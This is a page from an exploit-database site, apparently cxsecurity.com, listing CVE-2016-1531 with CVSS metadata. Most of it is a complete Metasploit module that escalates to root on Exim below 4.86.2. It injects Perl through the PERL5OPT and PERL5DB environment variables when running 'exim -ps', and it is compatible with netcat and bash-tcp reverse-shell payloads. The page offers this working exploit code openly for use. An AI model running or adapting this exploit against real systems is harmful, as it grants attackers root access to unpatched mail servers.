Exim perl_startup Privilege Escalation

2016.04.15
Credit: wvu
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Exim "perl_startup" Privilege Escalation', 'Description' => %q{ This module exploits a Perl injection vulnerability in Exim < 4.86.2 given the presence of the "perl_startup" configuration parameter. }, 'Author' => [ 'Dawid Golunski', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ %w{CVE 2016-1531}, %w{EDB 39549}, %w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt} ], 'DisclosureDate' => 'Mar 10 2016', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'SessionTypes' => %w{shell meterpreter}, 'Privileged' => true, 'Payload' => { 'BadChars' => "\x22\x27", # " and ' 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet' } }, 'Targets' => [ ['Exim < 4.86.2', {}] ], 'DefaultTarget' => 0 )) end def check if exploit('whoami') == 'root' CheckCode::Vulnerable else CheckCode::Safe end end def exploit(c = payload.encoded) # PERL5DB technique from http://perldoc.perl.org/perlrun.html cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-}) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top